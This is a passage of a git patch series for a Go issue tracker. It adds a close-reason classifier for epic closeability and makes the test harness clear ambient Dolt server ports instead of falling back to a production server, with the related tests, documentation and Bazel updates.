ClosedChildren: closedChildren, - EligibleForClose: totalChildren > 0 && totalChildren == closedChildren, + EligibleForClose: totalChildren > 0 && totalChildren == completingClosed, }) } diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index 15f4c8d94..82e7ed542 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -4,6 +4,7 @@ go_library( name = "types", srcs = [ "id_generator.go", + "non_completing_close.go", "orphans.go", "storage_ext.go", "types.go", @@ -18,6 +19,7 @@ go_test( "explain_test.go", "id_generator_test.go", "issue_summary_test.go", + "non_completing_close_test.go", "storage_class_test.go", "types_test.go", ], diff --git a/internal/types/non_completing_close.go b/internal/types/non_completing_close.go new file mode 100644 index 000000000..f8a9c3cca --- /dev/null +++ b/internal/types/non_completing_close.go @@ -0,0 +1,56 @@ +package types + +import ( + "regexp" + "strings" +) + +// nonCompletingCloseRegexp matches close reasons that redirect or abandon work +// rather than finish a deliverable. Children closed this way must not count +// toward epic/molecule "complete" eligibility (GH#5026). +// +// Matching is word-bounded (\b) rather than raw substring: close_reason is +// free-form prose (Issue.CloseReason is a plain string; cmd/bd/close.go only +// length-validates it), and a bare substring match false-positives on +// ordinary English — "added dedup pass for event ingest" contains "dup", and +// "removed obsolete migration shim" contains "obsolete", yet both describe +// completed work. The bare "dup" keyword is dropped entirely: it was already +// redundant with "duplicate"/"dupe" and only added false positives. Likewise +// the bare adjective "obsolete" is dropped in favor of "obsoleted" — a task +// closed because it was superseded/deprecated typically reads "obsoleted by +// X", while "obsolete" alone is commonly just describing what was removed. +// +// Separator tolerance is written into each multi-word keyword rather than +// applied by a global text normalization pass (GH#5138 review): +// "wont[- ]?fix", "won['\x{2019}]t[- ]?fix" and "not[- ]?planned" each accept +// a hyphen or space (or neither) between their two words. The "wont" and +// "won't" spellings must compose with the separator independently, not just +// each in isolation, or a lone "won't-fix" close still slips through as +// completing; "not-planned" is an equally natural hand-typed spelling and is +// given the same tolerance rather than being the one keyword that demands a +// space. The apostrophe class "['\x{2019}]" accepts both the ASCII apostrophe +// and the U+2019 typographic right single quote ("won't"/"won’t"). +// +// A blanket hyphen-to-space fold over the whole reason was deliberately +// avoided: it would rewrite prose these keywords never cover, so the text +// that matched would no longer be the text the operator typed. Per-keyword +// tolerance keeps the reach exact — "not-yet-planned" does not match +// "not[- ]?planned" under any spelling, because the intervening "yet" blocks +// it either way, and that negative stays pinned in the test. +var nonCompletingCloseRegexp = regexp.MustCompile(`(?i)\b(duplicate|dupe|wont[- ]?fix|won['\x{2019}]t[- ]?fix|superseded|obsoleted|not[- ]?planned)\b`) + +// IsNonCompletingClose reports whether closeReason is a redirection/abandon +// (duplicate, wontfix, superseded, …) rather than finished work. Empty reason +// is treated as completing for backward compatibility with closes that never +// recorded a reason. +// +// This lives in the leaf types package (not internal/storage/issueops, where +// GH#5026 originally added it) so that internal/workapi can also apply the +// same classifier to epic_closeable (GH#5138 review): issueops already +// imports workapi, so workapi importing issueops back would cycle. +func IsNonCompletingClose(closeReason string) bool { + if strings.TrimSpace(closeReason) == "" { + return false + } + return nonCompletingCloseRegexp.MatchString(closeReason) +} diff --git a/internal/types/non_completing_close_test.go b/internal/types/non_completing_close_test.go new file mode 100644 index 000000000..e318b6e17 --- /dev/null +++ b/internal/types/non_completing_close_test.go @@ -0,0 +1,64 @@ +package types + +import "testing" + +func TestIsNonCompletingClose(t *testing.T) { + t.Parallel() + cases := []struct { + reason string + want bool + }{ + {"", false}, + {" ", false}, + {"done", false}, + {"completed as planned", false}, + {"fixed", false}, + {"duplicate of bd-1", true}, + {"Duplicate", true}, + // Bare "dup" was dropped (GH#5026 review): redundant with + // "duplicate"/"dupe" and only added false-positive recall. + {"closed as dup of x", false}, + {"wontfix", true}, + {"won't fix — out of scope", true}, + {"wont fix", true}, + {"superseded by bd-9", true}, + {"obsoleted by rewrite", true}, + // Bare "obsolete" was dropped (GH#5026 review): "removed obsolete + // migration shim" describes completed cleanup work, not a redirect. + {"obsolete", false}, + {"not planned", true}, + // Failure closes (rejected/canceled) still completed their lifecycle + // for eligibility purposes — only redirect/abandon keywords qualify. + {"failed CI", false}, + {"canceled", false}, + // GH#5026 review, pinned regressions (word-boundary matching must not + // swallow substrings of ordinary prose in either direction). + {"removed obsolete shim", false}, + {"duplicate of ee-1", true}, + {"added dedup pass for event ingest", false}, + // GH#5138 review: hyphenated separator ("wont-fix") and the U+2019 + // typographic right single quote in "won't" must resolve like the + // already-handled ASCII forms above, and the two variants must + // compose (hyphen + curly apostrophe together), not just each alone. + {"wont-fix", true}, + {"won’t fix", true}, // "won’t fix": U+2019 is a literal rune here, in the string AND this comment — if a smart-quote pass ever ASCII-folds one but not the other, the mismatch is the tell. + {"won't-fix", true}, + {"won’t-fix", true}, // same tamper-evidence: literal U+2019 in both the case above and this comment. + // GH#5138 review: "not planned" carries the same per-keyword separator + // tolerance as the "wont fix" pair, so the hyphenated hand-typed + // spelling is classified identically. + {"not-planned", true}, + {"notplanned", true}, + // Hyphenated prose must not be swallowed by the hyphen tolerance — + // it reaches only inside a keyword, never across an intervening word, + // so this stays false with "not[- ]?planned" exactly as it did with + // the space-only spelling. + {"not-yet-planned", false}, + } + for _, tc := range cases { + got := IsNonCompletingClose(tc.reason) + if got != tc.want { + t.Errorf("IsNonCompletingClose(%q) = %v, want %v", tc.reason, got, tc.want) + } + } +} diff --git a/internal/workapi/detail.go b/internal/workapi/detail.go index 4eb05192c..acd5cc7e9 100644 --- a/internal/workapi/detail.go +++ b/internal/workapi/detail.go @@ -213,14 +213,20 @@ func BuildIssueDetails(ctx context.Context, src DetailSource, issue *types.Issue // shallowDep keeps the identity-and-shape fields callers consume and drops the // free-form text, which is the shape collectDependents settled on in be-4d36f2. +// CloseReason rides along despite being "text": it is short (a sentence, not +// a hub-scale blob like Description/Design/Notes), and applyEpicProgress +// needs it on every epic dependent to classify a completing vs. a +// duplicate/wontfix/superseded close (GH#5138 review) — dropping it here +// would silently starve that classifier on the very rows it runs against. func shallowDep(item *types.IssueWithDependencyMetadata) *types.IssueWithDependencyMetadata { return &types.IssueWithDependencyMetadata{ Issue: types.Issue{ - ID: item.Issue.ID, - Status: item.Issue.Status, - IssueType: item.Issue.IssueType, - Priority: item.Issue.Priority, - Title: item.Issue.Title, + ID: item.Issue.ID, + Status: item.Issue.Status, + IssueType: item.Issue.IssueType, + Priority: item.Issue.Priority, + Title: item.Issue.Title, + CloseReason: item.Issue.CloseReason, }, DependencyType: item.DependencyType, } @@ -290,7 +296,7 @@ func applyEpicProgress(details *types.IssueDetails, dependents []*types.IssueWit if details.IssueType != types.TypeEpic || len(dependents) == 0 { return } - total, closed := 0, 0 + total, closed, completingClosed := 0, 0, 0 for _, dep := range dependents { if dep.DependencyType != types.DepParentChild { continue @@ -298,12 +304,20 @@ func applyEpicProgress(details *types.IssueDetails, dependents []*types.IssueWit total++ if dep.Status == types.StatusClosed { closed++ + // A duplicate/wontfix/superseded close redirects or abandons the + // child rather than finishing it, so it must not make the epic + // closeable (GH#5138 review) — this mirrors the classifier + // GetEpicsEligibleForClosureInTx already applies; the two must + // not disagree on the same close_reason. + if !types.IsNonCompletingClose(dep.CloseReason) { + completingClosed++ + } } } if total == 0 { return } - closeable := total == closed + closeable := total == completingClosed details.EpicTotalChildren = &total details.EpicClosedChildren = &closed details.EpicCloseable = &closeable diff --git a/internal/workapi/detail_test.go b/internal/workapi/detail_test.go index d42de56c0..ecbd0fb38 100644 --- a/internal/workapi/detail_test.go +++ b/internal/workapi/detail_test.go @@ -32,9 +32,10 @@ func newDetailFixture() *detailFixture { return &detailFixture{ issues: map[string]*types.Issue{ - "bd-1": {ID: "bd-1", Title: "Durable issue", IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 1}, - "bd-epic": {ID: "bd-epic", Title: "Epic", IssueType: types.TypeEpic, Status: types.StatusOpen, Priority: 1}, - "bd-chat": {ID: "bd-chat", Title: "Has comments", IssueType: types.TypeTask, Status: types.StatusOpen}, + "bd-1": {ID: "bd-1", Title: "Durable issue", IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 1}, + "bd-epic": {ID: "bd-epic", Title: "Epic", IssueType: types.TypeEpic, Status: types.StatusOpen, Priority: 1}, + "bd-epic-dup": {ID: "bd-epic-dup", Title: "Epic with a duplicate close", IssueType: types.TypeEpic, Status: types.StatusOpen, Priority: 1}, + "bd-chat": {ID: "bd-chat", Title: "Has comments", IssueType: types.TypeTask, Status: types.StatusOpen}, }, wisps: map[string]*types.Issue{ "bd-w1": {ID: "bd-w1", Title: "Ephemeral wisp", IssueType: types.TypeTask, Status: types.StatusOpen}, @@ -67,6 +68,9 @@ func newDetailFixture() *detailFixture { {Issue: types.Issue{ID: "bd-kid2", Title: "Kid 2", Status: types.StatusOpen}, DependencyType: types.DepParentChild}, {Issue: types.Issue{ID: "bd-other", Title: "Not a child", Status: types.StatusOpen}, DependencyType: types.DepBlocks}, }, + "bd-epic-dup": { + {Issue: types.Issue{ID: "bd-dupkid", Title: "Dup kid", Status: types.StatusClosed, CloseReason: "duplicate of bd-1"}, DependencyType: types.DepParentChild}, + }, "bd-w1": { {Issue: types.Issue{ID: "bd-wkid", Title: "Wisp kid", Status: types.StatusOpen}, DependencyType: types.DepParentChild}, }, @@ -676,6 +680,28 @@ func TestBuildIssueDetailsEpicProgress(t *testing.T) { } }) + t.Run("not closeable when the only child closed as a duplicate (GH#5138 review)", func(t *testing.T) { + // epic_closeable must agree with issueops.GetEpicsEligibleForClosureInTx's + // classifier: a child closed "duplicate of X" redirects the work rather + // than finishing it, so total==closed alone must not make the epic + // closeable. Before the fix this reported epic_closeable=true because + // applyEpicProgress compared raw StatusClosed counts and never looked + // at CloseReason. + details, err := BuildIssueDetails(ctx, store, fx.issues["bd-epic-dup"], false, DetailOptions{IncludeDependents: true}) + if err != nil { + t.Fatalf("BuildIssueDetails: %v", err) + } + if details.EpicTotalChildren == nil || *details.EpicTotalChildren != 1 { + t.Errorf("epic_total_children = %v, want 1", details.EpicTotalChildren) + } + if details.EpicClosedChildren == nil || *details.EpicClosedChildren != 1 { + t.Errorf("epic_closed_children = %v, want 1", details.EpicClosedChildren) + } + if details.EpicCloseable == nil || *details.EpicCloseable { + t.Errorf("epic_closeable = %v, want false", details.EpicCloseable) + } + }) + t.Run("absent without IncludeDependents", func(t *testing.T) { details, err := BuildIssueDetails(ctx, store, fx.issues["bd-epic"], false, DetailOptions{}) if err != nil { From a4bf13f04295c572ff19268ee087b82bc680126d Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Thu, 1 Oct 2026 05:21:49 -0700 Subject: [PATCH 031/325] Fix: test suites fail closed instead of open on the ambient Dolt port when no test container is started (be-napos) (#5885) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(dolt): red — testdb_* leak onto production Dolt port when Docker absent (refs be-h2h25) * feat: green — Test suites create testdb_* on the PRODUCTION dolt server: harness fails open on the ambient port when Docker is absent (refs be-h2h25) * docs(release-gate): add be-napos gate — ambient Dolt port fail-open to fail-closed Deploy bead be-napos (build be-h2h25, review be-7fym1, verdict pass round 2). 7/7 gate criteria PASS; full independent evidence in the gate doc. refs be-napos, be-h2h25, be-7fym1 * docs(release-gate): record PR link for be-napos gate refs be-napos * test(testutil): make the fail-closed gate deterministic, not Docker-conditional The regression test skipped itself on every host that has Docker, by calling the real EnsureDoltContainerForTestMain and skipping when it succeeded. That asserted nothing on CI -- the only lane where it matters -- and on a Docker-having host it also started the shared singleton container purely to decide to skip, with no TestMain in internal/testutil to terminate it. Add checkDoltFn, a package-level seam over checkDolt, so the test can force a not-ready state without a Docker daemon and without starting a container. Only EnsureDoltContainerForTestMain routes through it; the neighbouring t.Skip call sites gate a skip rather than the fail-closed behaviour, so they keep calling checkDolt directly. The gate now covers all four not-ready states rather than the one the old test happened to hit, which also pins the intent that an explicit BEADS_TEST_SKIP=dolt opt-out must fail closed exactly as a Docker-less host does. Split into a platform-independent half (the helper's own contract, both variables cleared, idempotent) and a !windows half (the wiring, via the seam). Red/green: with the neutralizeAmbientDoltPort call removed from the not-ready branch, 4 of 4 subtests fail and 0 pass; restored, 4 of 4 pass in 0.06s with no Docker and no container. (refs be-napos) * fix(testutil): clear the ambient Dolt port on the Windows stub too The Windows EnsureDoltContainerForTestMain returned its error without touching BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT, so the fail-open this branch fixes still shipped there -- unconditionally, since that stub never succeeds. Windows is a real lane: .github/workflows/pr.yml runs windows-latest on four jobs plus the cross-platform matrix. Gating it needed one pre-existing repair. testdoltserver_env_test.go has no build tag but calls checkDolt, which is !windows-only, so the internal/testutil test binary has never compiled for Windows -- reproduced identically on origin/main. Tagging that file !windows fixes the whole package's Windows test lane; without it a new Windows gate would compile nowhere and assert nothing, which is the same defect this branch is already correcting. Verified GOOS=windows go vet ./internal/testutil/ clean (it fails on origin/main), and GOOS=windows go build clean before and after. The Windows gate itself is compile-verified only -- no Windows host here to execute it. (refs be-napos) * docs(testing): state that ambient BEADS_DOLT_*_PORT is never honored The guard fires on every not-ready state, not only "Docker unavailable" -- a missing or wrong-version image and an explicit BEADS_TEST_SKIP=dolt opt-out clear the ambient port too. That is deliberate: the invariant is the absence of a test container, not the reason for it. Say so where the next person will look before investigating, and name the supported way to target a specific server. (refs be-napos) * chore: remove leaked internal release-gate doc from PR branch release-gates/be-napos-ambient-dolt-port-failclosed-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * chore(bazel): enumerate the PR's new test files in BUILD.bazel Base added BUILD.bazel to internal/testutil and internal/storage/dolt after this PR was opened (#6881 made the Bazel lane real, and fork PRs always run it). The four new test files this PR adds were therefore absent from the go_test srcs lists, which the bazel lane's equivalence check reports as a missing target. Generated by 'make bazel-sync' (gazelle), not hand-edited, because the CI drift step diffs against exactly what gazelle emits. Co-Authored-By: Claude Opus 5 * fix(testutil): reconcile the shared-server harness with the fail-closed clear Review iterations 1-2 (adopt-pr, PR #5885): every gating finding from both review syntheses, plus their minors and nits. Iteration 1, Major 1 (Change Impact / Blast Radius). scripts/test.sh's BEADS_TEST_SHARED_SERVER=1 flow starts a dockerless `dolt sql-server` and exports BEADS_DOLT_PORT for every package to reuse. checkDolt() has no notion of an already-provisioned shared server, so on that flow's primary audience -- a host without Docker -- all 12 EnsureDoltContainerForTestMain callers erased the harness's own sanctioned port before m.Run(), turning green dockerless runs red, while engdocs/CI_TEST_SURFACE_AUDIT.md and the new TESTING.md paragraph advertised the two mechanisms unreconciled. Taken: a dedicated marker, BEADS_TEST_SHARED_DOLT_SERVER, exported by scripts/test.sh beside the port it allocated, which the helper's failure paths honor. Both docs state the reconciliation, including the precedence: a container, where one can be started, still overwrites both variables. Not taken: "skip the clear when BEADS_TEST_SHARED_SERVER=1 and a port var is already set". That flag is overloaded (cmd/bd/shared_server_integration_test.go reads it too), and the script starts no server when a port is already set, so the flag beside a port is exactly the case where the port is ambient. Iteration 2, blocker (Behavioral Correctness). Iteration 1 shipped that marker as a boolean ("1") which spared BOTH port variables, while the script vouched only for the BEADS_DOLT_PORT it exported and its entry guard never looked at BEADS_DOLT_SERVER_PORT -- the variable applyConfigDefaults resolves first. The runner's test environment (beads_test_env_enter) unsets both variables before the flow runs, so the hole needed that isolation skipped, e.g. with the documented BEADS_TEST_ENV_DISABLE=1; then an inherited BEADS_DOLT_SERVER_PORT reached `go test` beside the marker and outranked the shared server -- gm-2g3g5r, re-opened by its own fix. Measured with a fake `go` that prints its environment: SERVER_PORT=59999 PORT= MARKER=1 under the iteration-1 script. Now: - the marker's value is the port it vouches for, and the helper decides per variable (neutralizeUnvouchedDoltPorts): only a variable holding exactly that port survives, and says so on stderr; every other one is cleared, marker or not; - the flow starts only when neither port variable is set, and says on stderr when BEADS_TEST_SHARED_SERVER=1 is ignored for that reason. Not taken: also exporting BEADS_DOLT_SERVER_PORT from the flow. The widened guard means it is always unset there, so the export adds no safety, and five sites read that variable alone (internal/doltserver/doltserver.go:796, cmd/bd/init.go:773 and :1351, cmd/bd/bootstrap.go:857, internal/testutil/testdoltbranch.go:164) -- consumers the flow has never fed. Iteration 2, minor (Test Evidence Quality). The exception's second arm, a container that would not start, was reached by no test with its guard live. Both failure paths now share one clear, and the container start is a seam (startSharedContainerFn, pinned to startSharedContainer by identity) so tests reach that path without consuming doltServerOnce. TestEnsureDoltContainerForTestMain_KeepsHarnessProvisionedPort runs its whole table, marked_but_divergent_var included, through both paths. Iteration 2, minor (Contract & Interface Fidelity). The marker prose in TESTING.md, CI_TEST_SURFACE_AUDIT.md, test.sh and testdoltserver.go describes the per-port behavior the code now implements. Iteration 1, Major 2 (Contract & Interface Fidelity). neutralizeAmbientDoltPort's doc comment claimed "With no port resolvable, applyConfigDefaults' BEADS_TEST_MODE guard forces port 1". Clearing the env vars is not "no port resolvable": resolution falls through to the file chain and derives a directory from filepath.Dir(cfg.Path) when BeadsDir is empty (store.go:1661-1664), so a reachable .beads/dolt-server.port still yields a non-zero port and the ServerPort == 0 arm (store.go:1683-1687) never fires; production-port detection is strictly narrower than resolution. Narrowed to what the change actually guarantees -- no environment-named port is honored -- at all three sites carrying the claim: the helper doc, the TESTING.md paragraph, and TestApplyConfigDefaults_NoResolvablePortFailsClosed's own comment, whose fixture (an empty beadsDir) is what excludes the surviving path. The residual stays tracked in be-rl6tm. That test's stale cross-reference to a renamed test is corrected in the same pass. Iteration 1, minor (Test Evidence Quality). The Windows gate's comment claimed a CI lane it does not have; it now states the coverage exactly -- compile-checked, not CI-executed -- and lists the four windows-latest jobs' named selectors. Iteration 1, nits. doltServerErr is read under doltServerMu via sharedContainerErr(); TestCheckDoltFn_DefaultsToRealProbe pins function identity with reflect instead of asserting non-nil, which any leaked stub satisfied. Mutation ledger (scoped `go test ./internal/testutil/`, scrubbed env; every mutant restored from a copy and verified byte-identical): a set marker spares every marked_but_divergent_var, divergent_legacy_var, variable (the i2 blocker) marker_names_neither_var and boolean_marker red on BOTH failure paths the marker covers marked_but_divergent_var, marker_names_neither_var BEADS_DOLT_PORT only and boolean_marker red on both paths presence instead of value the same red set as the first row no clear after a failed the 5 container_start_failed cases that expect container start a clear red; every not_ready case stays green start attempted before the all four incumbent fail-closed subtests and probe every not_ready case red leak a wrapper into StartSharedContainerFn_DefaultsToRealStart red startSharedContainerFn delete the hermetic ClearsAmbientPortWhenNotReady red t.Setenv, marker ambient at the fixture's port Full package green with Docker, including the real-container EnsureDoltContainerForTestMain path (43 test and subtest passes, no skips); `go test ./scripts/`, which drives test.sh, green; `GOOS=windows go vet ./internal/testutil/` clean; `tools/bazel/go_srcs.py --check` clean, and no BUILD change is due (no new files, no new non-stdlib imports). Deferred deliberately: the iteration-1 synthesis's optional windows-latest step for ./internal/testutil/. It is newly feasible -- this branch is what made the package's Windows test binary compile -- but it would also newly execute four pre-existing test functions in this package that have never run on Windows, so it belongs in its own change. RequireDoltContainer's unsynchronized doltServerErr read is base-owned and left alone for the same reason. Co-Authored-By: Claude Opus 5 Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 Co-authored-by: Gas City Adopt-PR --- engdocs/CI_TEST_SURFACE_AUDIT.md | 6 +- engdocs/TESTING.md | 28 +++ internal/storage/dolt/BUILD.bazel | 1 + .../storage/dolt/gm2g3g5r_leak_repro_test.go | 121 +++++++++++ internal/testutil/BUILD.bazel | 3 + internal/testutil/gm2g3g5r_failopen_test.go | 54 +++++ .../testutil/gm2g3g5r_failopen_unix_test.go | 198 ++++++++++++++++++ .../gm2g3g5r_failopen_windows_test.go | 52 +++++ internal/testutil/testdoltserver.go | 136 +++++++++++- internal/testutil/testdoltserver_windows.go | 22 +- scripts/test.sh | 27 ++- 11 files changed, 638 insertions(+), 10 deletions(-) create mode 100644 internal/storage/dolt/gm2g3g5r_leak_repro_test.go create mode 100644 internal/testutil/gm2g3g5r_failopen_test.go create mode 100644 internal/testutil/gm2g3g5r_failopen_unix_test.go create mode 100644 internal/testutil/gm2g3g5r_failopen_windows_test.go diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 18133fff6..c9647d99a 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -78,7 +78,11 @@ It: - Defaults to `go test -timeout 3m ./...`. - Supports `-v`, `-timeout`, `-run`, package arguments, and extra `-skip`. - Enables coverage when `TEST_COVER=1`. -- Can start one shared Dolt test server when `BEADS_TEST_SHARED_SERVER=1`. +- Can start one shared Dolt test server when `BEADS_TEST_SHARED_SERVER=1`, + exporting its port together with `BEADS_TEST_SHARED_DOLT_SERVER` set to that + same port, so the `testutil` TestMain helpers honor that port -- and only + that port -- instead of clearing it as an ambient one (see + `engdocs/TESTING.md`). At this audit point, `.test-skip` contains only comments and no active skip patterns. diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 1b5610011..02a1137c4 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -114,6 +114,34 @@ Dolt Full Suite N/16)", `//internal/storage/dolt:dolt_server_*_test`), which builds with the integration tag like `--config=integration`. Each shard runs its CI job's shard script, so Bazel shard k runs the tests of job k+1. +An ambient `BEADS_DOLT_SERVER_PORT` or `BEADS_DOLT_PORT` is never honored by +the suites that call `testutil.EnsureDoltContainerForTestMain`. When a test +container is started, that container's port overwrites both variables; when one +cannot be started -- for any reason, including `BEADS_TEST_SKIP=dolt` -- both +are cleared, so no environment-named server can be resolved. Point a test run +at a specific Dolt server by starting a container for it, not by exporting a +port. + +The one sanctioned way to hand these suites a server you started yourself is +`./scripts/test.sh` with `BEADS_TEST_SHARED_SERVER=1`: it starts one +`dolt sql-server`, exports its port as `BEADS_DOLT_PORT`, and marks it by +exporting `BEADS_TEST_SHARED_DOLT_SERVER` set to that same port number. It +starts nothing if either port variable is still set when it gets there. The +runner's test environment clears both first, so that only happens when that +isolation is skipped (for example `BEADS_TEST_ENV_DISABLE=1`), and the script +then says so on stderr. The marker -- set only by that script, only for a +port it allocated -- is what the helper treats as container-equivalent, and +only for a variable holding exactly the port it names: that variable survives +the clearing above, and any other port variable is still cleared. A container +still wins where one can be started; the shared server is the Docker-less path. + +Clearing the environment variables closes the channel the ambient port +travelled on; it does not make a port unresolvable in general. Resolution +continues into the file chain (`.beads/dolt-server.port`, `config.yaml`, +`metadata.json`), and `internal/storage/dolt`'s production-port detection is +narrower than that resolution -- see `be-rl6tm`, which tracks the remaining +gap. + Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; do not inherit the developer's global hooks configuration. diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index cfed65239..f39bc8370 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -226,6 +226,7 @@ go_test( "generated_dependency_target_repro_test.go", "git_remote_shared_server_test.go", "git_remote_test.go", + "gm2g3g5r_leak_repro_test.go", "graph_counter_contract_test.go", "history_presence_contract_test.go", "history_test.go", diff --git a/internal/storage/dolt/gm2g3g5r_leak_repro_test.go b/internal/storage/dolt/gm2g3g5r_leak_repro_test.go new file mode 100644 index 000000000..edb18dd0f --- /dev/null +++ b/internal/storage/dolt/gm2g3g5r_leak_repro_test.go @@ -0,0 +1,121 @@ +package dolt + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// gm-2g3g5r repro. A gc-managed city runs its production Dolt server on a +// DYNAMICALLY ALLOCATED port (28231 on this host), recorded in +// .beads/dolt-server.port and exported into every agent session as +// BEADS_DOLT_SERVER_PORT. Every beads TestMain sets BEADS_TEST_SERVER=1. +// +// prodPort below stands in for that dynamic port. It is never dialed: both +// tests call applyConfigDefaults / productionPortReasons only, which read +// env + files and open no sockets. +const reproProdPort = "59999" + +// TestApplyConfigDefaults_TestModeBlocksNonDefaultProductionPort documents a +// residual gap, not the gm-2g3g5r leak itself: the leak's actual root cause +// (EnsureDoltContainerForTestMain failing open on the ambient port) is fixed +// and covered by TestEnsureDoltContainerForTestMain_ClearsAmbientPortWhenNotReady +// in internal/testutil. This test bypasses that fix entirely -- it injects a +// production port directly via env var to probe applyConfigDefaults / +// productionPortReasons in isolation. Rule 1 of productionPortReasons only +// recognises DefaultSQLPort (3307); Rule 3 (the dolt-server.port file) is the +// only rule that can see a dynamic production port, and store.go:142-144 +// suppresses it whenever BEADS_TEST_SERVER=1. Widening that is a deliberate, +// separate change to AD-01's documented contract -- see be-rl6tm, filed on +// architect-6a's recommendation rather than guessed at here. +func TestApplyConfigDefaults_TestModeBlocksNonDefaultProductionPort(t *testing.T) { + t.Skip("residual gap, not the gm-2g3g5r leak -- tracked in be-rl6tm") + beadsDir := t.TempDir() + if err := os.WriteFile(filepath.Join(beadsDir, "dolt-server.port"), + []byte(reproProdPort), 0o644); err != nil { + t.Fatal(err) + } + + t.Setenv("BEADS_TEST_MODE", "1") + t.Setenv("BEADS_TEST_SERVER", "1") + t.Setenv("BEADS_DOLT_SERVER_PORT", reproProdPort) + t.Setenv("BEADS_DOLT_PORT", "") + + cfg := &Config{Path: filepath.Join(beadsDir, "dolt"), BeadsDir: beadsDir} + applyConfigDefaults(cfg) + + if !strings.HasPrefix(cfg.Database, "testdb_") { + t.Fatalf("precondition: want a derived testdb_ name, got %q", cfg.Database) + } + if cfg.ServerPort != 1 { + t.Errorf("LEAK: BEADS_TEST_MODE=1 resolved to production port %d "+ + "(dolt-server.port says %s) and would create %q there; want port 1", + cfg.ServerPort, reproProdPort, cfg.Database) + } +} + +// TestProductionPortReasons_BlindWithoutBeadsDir disproves the obvious fix. +// Deleting the BEADS_TEST_SERVER early return is NOT sufficient: Rule 3 is +// gated on cfg.BeadsDir != "", and the leaking call site --- beads.go:277 +// beads.Open -> dolt.New(&Config{Path: dbPath, CreateIfMissing: true}) --- +// sets Path only. With BeadsDir empty the rule cannot fire even unsuppressed. +// +// Note for whoever picks up be-rl6tm: store.go:119-126 already explains why +// Rule 3 does NOT fall back to filepath.Dir(cfg.Path) when BeadsDir is empty +// -- test fixtures commonly set Path under /tmp with no real BeadsDir, and +// deriving one would false-positive on stray dolt-server.port files from +// leaked dev servers. That path-derivation fix has already been considered +// and rejected; don't re-propose it without a new argument. +func TestProductionPortReasons_BlindWithoutBeadsDir(t *testing.T) { + t.Skip("residual gap, not the gm-2g3g5r leak -- tracked in be-rl6tm") + beadsDir := t.TempDir() + if err := os.WriteFile(filepath.Join(beadsDir, "dolt-server.port"), + []byte(reproProdPort), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_TEST_MODE", "1") + _ = os.Unsetenv("BEADS_TEST_SERVER") // suppression removed: the "obvious fix" + + // Exactly what beads.Open passes: Path set, BeadsDir empty. + cfg := &Config{Path: filepath.Join(beadsDir, "dolt"), ServerPort: 59999} + if reasons := productionPortReasons(cfg); len(reasons) != 0 { + t.Logf("Rule 3 fired without BeadsDir: %v", reasons) + } else { + t.Errorf("CONFIRMED BLIND SPOT: productionPortReasons returned no reasons "+ + "for port %d even with BEADS_TEST_SERVER unset, because BeadsDir is "+ + "empty (store.go:150). Removing the early return alone does not fix "+ + "the beads.Open path.", cfg.ServerPort) + } +} + +// TestApplyConfigDefaults_NoResolvablePortFailsClosed closes the loop on the +// proposed fix, for the case the fixture builds: once the harness neutralizes +// the ambient port vars, and with nothing else in the resolution chain to +// supply one, the BEADS_TEST_MODE guard's `ServerPort == 0` branch +// (store.go:1683-1687) forces port 1. This already passes today --- it is the +// invariant the fix relies on, asserted so a future change cannot remove it +// silently. +// +// Scope, because the fixture is the claim: neutralizing the env vars is not +// the same as "no port is resolvable". Resolution falls through to the file +// chain and derives a directory from filepath.Dir(cfg.Path) when BeadsDir is +// empty (store.go:1661-1664), so a reachable dolt-server.port still yields a +// non-zero port and this branch does not fire; detection, not resolution, is +// what would have to catch that, and the two tests above are exactly why it +// does not. The empty beadsDir below is what excludes that path here. +func TestApplyConfigDefaults_NoResolvablePortFailsClosed(t *testing.T) { + beadsDir := t.TempDir() // no dolt-server.port, no config.yaml + t.Setenv("BEADS_TEST_MODE", "1") + t.Setenv("BEADS_TEST_SERVER", "1") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + t.Setenv("BEADS_DOLT_PORT", "") + + cfg := &Config{Path: filepath.Join(beadsDir, "dolt"), BeadsDir: beadsDir} + applyConfigDefaults(cfg) + + if cfg.ServerPort != 1 { + t.Errorf("want port 1 (fail closed) with no resolvable port under "+ + "BEADS_TEST_MODE=1, got %d", cfg.ServerPort) + } +} diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 520a2e246..7e54398e1 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -107,6 +107,9 @@ go_test( name = "testutil_test", srcs = [ "dockercontext_test.go", + "gm2g3g5r_failopen_test.go", + "gm2g3g5r_failopen_unix_test.go", + "gm2g3g5r_failopen_windows_test.go", "localdoltserver_test.go", "suite_temp_test.go", "testdoltbranch_test.go", diff --git a/internal/testutil/gm2g3g5r_failopen_test.go b/internal/testutil/gm2g3g5r_failopen_test.go new file mode 100644 index 000000000..67f0ee452 --- /dev/null +++ b/internal/testutil/gm2g3g5r_failopen_test.go @@ -0,0 +1,54 @@ +package testutil + +import ( + 